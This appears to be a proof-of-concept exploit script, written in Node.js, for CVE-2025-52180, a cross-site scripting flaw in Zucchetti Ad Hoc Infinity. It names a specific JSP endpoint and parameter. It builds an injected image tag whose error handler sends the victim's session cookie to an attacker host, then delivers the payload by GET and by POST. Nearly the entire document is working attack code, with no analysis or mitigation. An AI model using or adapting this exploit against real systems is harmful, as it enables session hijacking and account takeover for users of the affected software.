CVE-2025-52180 Zucchetti Ad Hoc Infinity XSS漏洞

// CVE-2025-52180 XSS PoC for Zucchetti Ad Hoc Infinity // Target: /ahi/jsp/gsfr_feditorHTML.jsp?pHtmlSource parameter const axios = require('axios'); const targetUrl = 'http://target.com/ahi/jsp/gsfr_feditorHTML.jsp'; // XSS payload - steals cookie const xssPayload = '<img src=x onerror="fetch(`https://attacker.com/log?c="+document.cookie)">'; // Construct malicious URL const maliciousUrl = `${targetUrl}?pHtmlSource=${encodeURIComponent(xssPayload)}`; console.log('[*] CVE-2025-52180 XSS PoC'); console.log(`[*] Target: ${targetUrl}`); console.log(`[*] Malicious URL: ${maliciousUrl}`); // Simulate sending the request axios.get(maliciousUrl) .then(response => { console.log('[+] Payload sent successfully'); console.log('[+] When victim visits the page, cookie will be exfiltrated'); }) .catch(err => { console.error('[-] Error:', err.message); }); // Alternative: Direct form submission async function sendViaPOST() { const formData = new URLSearchParams(); formData.append('pHtmlSource', xssPayload); await axios.post(targetUrl, formData); console.log('[+] POST payload sent successfully'); }